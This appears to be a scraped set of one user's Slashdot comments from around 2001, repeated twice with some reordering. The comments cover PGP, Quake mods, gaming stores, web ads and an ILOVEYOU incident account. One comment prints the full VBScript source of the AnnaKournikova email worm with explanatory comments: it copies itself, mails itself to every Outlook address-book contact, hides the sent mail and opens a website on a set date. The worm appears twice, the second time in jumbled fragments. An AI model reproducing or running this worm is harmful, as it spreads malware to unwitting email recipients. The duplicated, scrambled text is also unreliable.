No kidding.
Oh no! PGP *may* have been used as a tool by the terrorists! So what? Why whould Mr. Zimmerman feel guilt over such a thing?
Yes, what happened is tragic. But shouldn't the people who made the roads used by the terrorists to get to the airport feel the same guilt? What about the people who built the World Trade Center? Why shouldn't they be tormented by guilt? How about the people who taught the terrorists to fly? What about the ones who made the cars they used? The blades? The clothes? The freedom they used to get as far as they did? Hrm? Well? By the same token, why shouldn't they feel as guilty? Because they shouldn't. ANYTHING can be used for evil. Does this mean that we should dispense with every single thing to be "safe"? That would include dispensing with our lives, for they, too, can be used for evil.
Whoever edited the article to include that garbage should take a few decades to think about what they have implied by their "simple" addition.
Back in the Good Old Days(tm/c/r/patent pending), I and a decent sized group of friends were working on the Predator Quake TC. It was a lot of fun and we were nearing our first public beta. (un)Naturally, our morally mindful leader got the notion to ask for permission. *pow* FOXED. It was rather depressing, but what could one do?
I wonder what they'd think if the ZIP got released... Then again, thinking back on it, I'd be rather embarassed.:P
Someone needs to do a TC that's a bit more original. I mean, people *don't* have to use pre-existing monsters to do good work. DoD and CS for half-life are hugely popular without such content usage.
I'm not saying it's fair that we can't use freely (as in no one gets a dime) things that are popular and recognizable. It's just that I think we're pretty unlikely to win this battle anytime soon. Why not make our on multi-million dollar franchises?:>
Just recently what I believe WotC considered it's "Crown Jewel" store on the Ave in the University district of Seattle closed. It had a lot of things, full enclosure Battletech simulators (which doubled for another game, too), a huge arcade, PC games, retail store, large downstairs gaming area.... that was poorly lit and a general hang out for druggies. Kinda reflects on the culture just a teensy bit (hrm. PokeCrack, RealCrack). Other than the downstairs "stuff" it was a really cool place. If they had just added more lights I don't think it would have been such an issue. I miss the battletech pods;(.
The ajoining resteraunt (Dalmuti's) wasn't so bad either, as a hangout anyway.
enough for other companies to stick with it and give investors hope for the future.
With the number of companies laying people off and stock prices under 20% of IPO value I think the investment world was getting wary of ever putting money into tech firms ever again. It's nice to see things can go against the trend once in a while.
"pages will be designed not to display the article or content that it's audience will be looking for, but rather to "effectively" display the ads"
I'd say they already are in some cases.
As a not quite direct example, look at CNN's video clips. They force you to watch an ad before they play the real clip. You can't skip it thanks to The New Great Features in Media Player and Real Player. It won't be long before you're force to click through ads to read the article.
If everyone is following good Engineering standards, everything is documented. The only loss is data (images, articles, things of that sort that wouldn't necessarily be physically documented.).
So the question comes down to...
Did everyone print out a copy of their code?:)
As for hardware, same story. The question there however is how fast can it be rebuilt? Assuming everything is accurately documented...
I think this would be a horrible event because the less scrupulous companies of the world could add more nefarious features without the knowledge of consumers.
I think he has a very good idea as to how much they made. Considering they're paying him royalties on the Quake 1/2 engines. I'm not sure if it's a per unit sold but I'd find it very likely. So he can just pull up the agreement, look at the % he (well, actually id, but I'm sure he has every right to look at such data;) is pulling per unit, see how much the checks add up to. Calculate how many units it would take to add up to that sum. Voila, you have a very good idea of how many pieces were sold and can figure out a rough estimate of how much money Valve and Sierra pulled in on it. He *is* an expert in writing video games that sell well. *You* should know better.
OR when we shoot it down. I mean, isn't it obvious? They're just stalling so they can drop it on our heads... "oops, damn metric->english conversion..."
I mean, I *could* just be paranoid, but a million voices can't be wrong... Can they?
When we got hit by ILOVEYOU this is the course of action our brilliant IT staff took.
1) turn off the mail server (after 20 minutes and 900+ emails... per person...)
2) unplug the mail server from the network (10 minutes... [wtf?])
3) turn it on and filter out all the viruses from people's email (3 hours)
4) find a patch for the virus filter... (2 hours [again, wtf?])
5) start the mail server back up as 'normal' (1 hour)
6) start deleting the deluge of 'DON'T OPEN BLAHBLAH EMAIL ITS A VIRUS!!!!!!!!' (30 minutes)
7) start identifying users that were hit (3 hrs - 4 days)
8) restore critical systems from backups (1 - 3 hrs [why wasn't this done sooner?!])
9) hunt down users that had direct drive mappings to critical systems with.html's and.jpgs (live web server, etc) and kill them. (1hr)
10) get around to actually fixing said machines... (2 days)
all in all it can be from 7hrs to 10 days if the IT staff isn't properly equipped.
And even if it is, there's no telling how many files were overwritten and might be inadvertantly opened again, starting the whole thing over.
interesting if you set it to show infected computers only canada, california, washington, texas and most of the east coast US show up as having more than 100...
"hmm"
'get windows scripting shell object handle
Set ojbWSS = CreateObject("WScript.Shell")
'write virus creation data to registry (this script apearrs to have been auto-generated by "Worm made with Vbswg 1.50b" (vbs worm generator 1.50b?)
ojbWSS.regwrite "HKCU\software\OnTheFly\", Chr(87) & Chr(111) & Chr(114) & Chr(109) & Chr(32) & Chr(109) & Chr(97) & Chr(100) & Chr(101) & Chr(32) & Chr(119) & Chr(105) & Chr(116) & Chr(104) & Chr(32) & Chr(86) & Chr(98) & Chr(115) & Chr(119) & Chr(103) & Chr(32) & Chr(49) & Chr(46) & Chr(53) & Chr(48) & Chr(98)
'get handle to file system scripting object
Set objFSO= Createobject("scripting.filesystemobject")
'wscript.scriptfullname = Full path to the script being run by the Windows Scripting Host.
'copy this script to Special Folder 0 ('c:\winnt' on my machine)
objFSO.copyfile wscript.scriptfullname,objFSO.GetSpecialFolder(0)& "\AnnaKournikova.jpg.vbs"
'if we haven't already mailed ourself around yet, do so.
if objWSS.regread ("HKCU\software\OnTheFly\mailed") "1" then
'spread ourself via outlook's address book
SpreadByMail()
end if
'if month is january and day is 26th, execute "Http://www.dynabyte.nl" using the run command (start->run)
'this will open an explorer (or netscape if it's default browser?) window and "browse" to this website.
if month(now) = 1 and day(now) = 26 then
'WshShell.Run (strCommand, [intWindowStype], [bWaitOnReturn])
'do not wait for this to return before we continue running
objWSS.run "Http://www.dynabyte.nl",3,false
end if
'get file object handle to this script
Set objTextFile= objFSO.opentextfile(wscript.scriptfullname, 1)
'read it into a string
strTextDocument= objTextFile.readall
'close the file
objTextFile.Close
Do
'if this script doesn't exist (?) create it. continue looping forever.
If Not (objFSO.fileexists(wscript.scriptfullname)) Then
Set objTextFile_2 = objFSO.createtextfile(wscript.scriptfullname, True)
objTextFile_2.write strTextDocument
objTextFile_2.Close
End If
Loop
Function SpreadByMail()
On Error Resume Next
'create handle to Outlook
Set objOutlook= CreateObject("Outlook.Application")
'make "sure" it really is outlook
If objOutlook= "Outlook"Then
'grab handle to MAPI namespace object
Set objMAPINameSpace=objOutlook.GetNameSpace("MAPI")
'grab handle to Addresslists in the MAPI namespace
Set objAddressLists= objMAPINameSpace.AddressLists
'for each addressList in the addresslists
For Each objAddressList In objAddressLists
'if there any addresses in this address list then...
If objAddressList.AddressEntries.Count 0 Then
'... get a count of the addresses in the list
lngAddresses = objAddressList.AddressEntries.Count
'and for each one...
For lngAddress= 1 To lngAddresses
'create a new email message
Set objMailMessage = objOutlook.CreateItem(0)
'get handle to address
Set objAddress = objAddressList.AddressEntries(lngAddress)
'set the "to" field to this address
objMailMessage.To = objAddressList.Address
'apply subject...
objMailMessage.Subje ct = "Here you have,;o)"
'set the script copy we set aside in the special folder as our attachment
set objAttachment = objMailMessage.Attachments
objAttachment.Add objFSO.GetSpecialFolder(0) & "\AnnaKournikova.jpg.vbs"
'set the message to be deleted after submission (won't show up in SENT Folder)
objMailMessage.Delet eAfterSubmit = True
'make sure the TO field isn't empty
If objMailMessage.To "" Then
'send the bugger to the unwitting victim
objMailMessage.Send
'We've mailed someone, so make sure the script won't re-execute
objWSS.regwrit e "HKCU\software\OnTheFly\mailed", "1"
End If
Next
End If
Next
end if
End Function
Sadly you won't see Patrick Stewart in this.
But if you want interactive Star Trek, Voyager Elite Force is pretty fun. Yes It's voyager, but you actually *can* kill most of the crew...
And you get to spend some time in a pre-TNG era Federation starship...
Purely as an action game it stands alone as well.
A bit short though:(
Slashdot Mirror
No kidding.
Oh no! PGP *may* have been used as a tool by the terrorists! So what? Why whould Mr. Zimmerman feel guilt over such a thing?
Yes, what happened is tragic. But shouldn't the people who made the roads used by the terrorists to get to the airport feel the same guilt? What about the people who built the World Trade Center? Why shouldn't they be tormented by guilt? How about the people who taught the terrorists to fly? What about the ones who made the cars they used? The blades? The clothes? The freedom they used to get as far as they did? Hrm? Well? By the same token, why shouldn't they feel as guilty? Because they shouldn't. ANYTHING can be used for evil. Does this mean that we should dispense with every single thing to be "safe"? That would include dispensing with our lives, for they, too, can be used for evil.
Whoever edited the article to include that garbage should take a few decades to think about what they have implied by their "simple" addition.
Back in the Good Old Days(tm/c/r/patent pending), I and a decent sized group of friends were working on the Predator Quake TC. It was a lot of fun and we were nearing our first public beta. (un)Naturally, our morally mindful leader got the notion to ask for permission. *pow* FOXED. It was rather depressing, but what could one do?
:P
:>
I wonder what they'd think if the ZIP got released... Then again, thinking back on it, I'd be rather embarassed.
Someone needs to do a TC that's a bit more original. I mean, people *don't* have to use pre-existing monsters to do good work. DoD and CS for half-life are hugely popular without such content usage.
I'm not saying it's fair that we can't use freely (as in no one gets a dime) things that are popular and recognizable. It's just that I think we're pretty unlikely to win this battle anytime soon. Why not make our on multi-million dollar franchises?
"'s were meant to indicate skepticism ;)
;)
Darkly lit rooms attracted the rats, imho
I never ate the food. I just hung out there sometimes.
I just want the arcade and games back
Good question, no clue. I would imagine it was named after the game though.
Just recently what I believe WotC considered it's "Crown Jewel" store on the Ave in the University district of Seattle closed. It had a lot of things, full enclosure Battletech simulators (which doubled for another game, too), a huge arcade, PC games, retail store, large downstairs gaming area.... that was poorly lit and a general hang out for druggies. Kinda reflects on the culture just a teensy bit (hrm. PokeCrack, RealCrack). Other than the downstairs "stuff" it was a really cool place. If they had just added more lights I don't think it would have been such an issue. I miss the battletech pods ;(.
The ajoining resteraunt (Dalmuti's) wasn't so bad either, as a hangout anyway.
enough for other companies to stick with it and give investors hope for the future.
With the number of companies laying people off and stock prices under 20% of IPO value I think the investment world was getting wary of ever putting money into tech firms ever again. It's nice to see things can go against the trend once in a while.
Way to go Red Hat!
"pages will be designed not to display the article or content that it's audience will be looking for, but rather to "effectively" display the ads"
I'd say they already are in some cases.
As a not quite direct example, look at CNN's video clips. They force you to watch an ad before they play the real clip. You can't skip it thanks to The New Great Features in Media Player and Real Player. It won't be long before you're force to click through ads to read the article.
Hey, he can at least still get to slashdot.org, so it's not so bad, is it?
So this would be Virtual Reality TV?
Lets see.
We've progressed from imitating reality (sitcoms) to reality (reality tv) to imitating virtual reality with reality mixed in?
This is all too confusing, I'm going to go play Sim Life and see if something better evolves.
they mean Chiquita??! Everytime I see UCITA I think of bananas!
ARGH.
"Ahhh, My Lord, is that... legal?"
'I will make it legal.'
Or my favorite...
"Slashdot them out, all of them."
If everyone is following good Engineering standards, everything is documented. The only loss is data (images, articles, things of that sort that wouldn't necessarily be physically documented.).
:)
So the question comes down to...
Did everyone print out a copy of their code?
As for hardware, same story. The question there however is how fast can it be rebuilt? Assuming everything is accurately documented...
I think this would be a horrible event because the less scrupulous companies of the world could add more nefarious features without the knowledge of consumers.
I think he has a very good idea as to how much they made. Considering they're paying him royalties on the Quake 1/2 engines. I'm not sure if it's a per unit sold but I'd find it very likely. So he can just pull up the agreement, look at the % he (well, actually id, but I'm sure he has every right to look at such data;) is pulling per unit, see how much the checks add up to. Calculate how many units it would take to add up to that sum. Voila, you have a very good idea of how many pieces were sold and can figure out a rough estimate of how much money Valve and Sierra pulled in on it. He *is* an expert in writing video games that sell well. *You* should know better.
It's from an old (sega genesis?) game. Badly translated. It is called Zero Wing.
f
For some reason people thought it was funny enough to spam everywhere.
Someone went so far as to make a small flash movie of it... http://www.detonate.net/newsitems/01021601/ayb.sw
It's quite amusing actually.
Quake 3
Doom 3
Wolfenstein 3 (return to castle wolfenstein)
Geforce 3
I'd say Pentium 3 but 4's already out.
Does Duron count as the 3rd Athlon? (vanilla, thunderbird, Duron?)
Who else has a 3 coming out soon?
Is this the year of 3?
Zero Wing, a very poorly translated game.
Here is an amusing "music video" featuring some of the screen captures from the game.
http://www.imsa.edu/~dank/AYB2.swf
2001-03-13 03:07:00
OR when we shoot it down. I mean, isn't it obvious? They're just stalling so they can drop it on our heads... "oops, damn metric->english conversion..."
I mean, I *could* just be paranoid, but a million voices can't be wrong... Can they?
When we got hit by ILOVEYOU this is the course of action our brilliant IT staff took.
.html's and .jpgs (live web server, etc) and kill them. (1hr)
1) turn off the mail server (after 20 minutes and 900+ emails... per person...)
2) unplug the mail server from the network (10 minutes... [wtf?])
3) turn it on and filter out all the viruses from people's email (3 hours)
4) find a patch for the virus filter... (2 hours [again, wtf?])
5) start the mail server back up as 'normal' (1 hour)
6) start deleting the deluge of 'DON'T OPEN BLAHBLAH EMAIL ITS A VIRUS!!!!!!!!' (30 minutes)
7) start identifying users that were hit (3 hrs - 4 days)
8) restore critical systems from backups (1 - 3 hrs [why wasn't this done sooner?!])
9) hunt down users that had direct drive mappings to critical systems with
10) get around to actually fixing said machines... (2 days)
all in all it can be from 7hrs to 10 days if the IT staff isn't properly equipped.
And even if it is, there's no telling how many files were overwritten and might be inadvertantly opened again, starting the whole thing over.
interesting if you set it to show infected computers only canada, california, washington, texas and most of the east coast US show up as having more than 100...
"hmm"
:)
On Error Resume Next
& "\AnnaKournikova.jpg.vbs"
;o)"
.Send
'get windows scripting shell object handle
Set ojbWSS = CreateObject("WScript.Shell")
'write virus creation data to registry (this script apearrs to have been auto-generated by "Worm made with Vbswg 1.50b" (vbs worm generator 1.50b?)
ojbWSS.regwrite "HKCU\software\OnTheFly\", Chr(87) & Chr(111) & Chr(114) & Chr(109) & Chr(32) & Chr(109) & Chr(97) & Chr(100) & Chr(101) & Chr(32) & Chr(119) & Chr(105) & Chr(116) & Chr(104) & Chr(32) & Chr(86) & Chr(98) & Chr(115) & Chr(119) & Chr(103) & Chr(32) & Chr(49) & Chr(46) & Chr(53) & Chr(48) & Chr(98)
'get handle to file system scripting object
Set objFSO= Createobject("scripting.filesystemobject")
'wscript.scriptfullname = Full path to the script being run by the Windows Scripting Host.
'copy this script to Special Folder 0 ('c:\winnt' on my machine)
objFSO.copyfile wscript.scriptfullname,objFSO.GetSpecialFolder(0)
'if we haven't already mailed ourself around yet, do so.
if objWSS.regread ("HKCU\software\OnTheFly\mailed") "1" then
'spread ourself via outlook's address book
SpreadByMail()
end if
'if month is january and day is 26th, execute "Http://www.dynabyte.nl" using the run command (start->run)
'this will open an explorer (or netscape if it's default browser?) window and "browse" to this website.
if month(now) = 1 and day(now) = 26 then
'WshShell.Run (strCommand, [intWindowStype], [bWaitOnReturn])
'do not wait for this to return before we continue running
objWSS.run "Http://www.dynabyte.nl",3,false
end if
'get file object handle to this script
Set objTextFile= objFSO.opentextfile(wscript.scriptfullname, 1)
'read it into a string
strTextDocument= objTextFile.readall
'close the file
objTextFile.Close
Do
'if this script doesn't exist (?) create it. continue looping forever.
If Not (objFSO.fileexists(wscript.scriptfullname)) Then
Set objTextFile_2 = objFSO.createtextfile(wscript.scriptfullname, True)
objTextFile_2.write strTextDocument
objTextFile_2.Close
End If
Loop
Function SpreadByMail()
On Error Resume Next
'create handle to Outlook
Set objOutlook= CreateObject("Outlook.Application")
'make "sure" it really is outlook
If objOutlook= "Outlook"Then
'grab handle to MAPI namespace object
Set objMAPINameSpace=objOutlook.GetNameSpace("MAPI")
'grab handle to Addresslists in the MAPI namespace
Set objAddressLists= objMAPINameSpace.AddressLists
'for each addressList in the addresslists
For Each objAddressList In objAddressLists
'if there any addresses in this address list then...
If objAddressList.AddressEntries.Count 0 Then
'... get a count of the addresses in the list
lngAddresses = objAddressList.AddressEntries.Count
'and for each one...
For lngAddress= 1 To lngAddresses
'create a new email message
Set objMailMessage = objOutlook.CreateItem(0)
'get handle to address
Set objAddress = objAddressList.AddressEntries(lngAddress)
'set the "to" field to this address
objMailMessage.To = objAddressList.Address
'apply subject...
objMailMessage.Subje ct = "Here you have,
'... and body...
objMailMessage.Body = "Hi:" & vbcrlf & "Check This!" & vbcrlf & ""
'set the script copy we set aside in the special folder as our attachment
set objAttachment = objMailMessage.Attachments
objAttachment.Add objFSO.GetSpecialFolder(0) & "\AnnaKournikova.jpg.vbs"
'set the message to be deleted after submission (won't show up in SENT Folder)
objMailMessage.Delet eAfterSubmit = True
'make sure the TO field isn't empty
If objMailMessage.To "" Then
'send the bugger to the unwitting victim
objMailMessage
'We've mailed someone, so make sure the script won't re-execute
objWSS.regwrit e "HKCU\software\OnTheFly\mailed", "1"
End If
Next
End If
Next
end if
End Function
Yeah. It took me 3 tries to get it right.
That one and
STeyr: Tactical Machine Pistol
And the right one.
Hoo boy, too much counter strike for me.
So it's pronounced Star Trek 10, eh?
Paramount might want to watch out... Apple might be after them for likeness to OS X!
Sadly you won't see Patrick Stewart in this. But if you want interactive Star Trek, Voyager Elite Force is pretty fun. Yes It's voyager, but you actually *can* kill most of the crew... And you get to spend some time in a pre-TNG era Federation starship... Purely as an action game it stands alone as well. A bit short though :(
"This just demonstrates how much we really do need the (-1, Obvious) mod to be added to the available choices."
The Patent office should run a comment system on proposed patents using Slash with that as a moderation option.
or wiposu.cx ? goatsu.cx!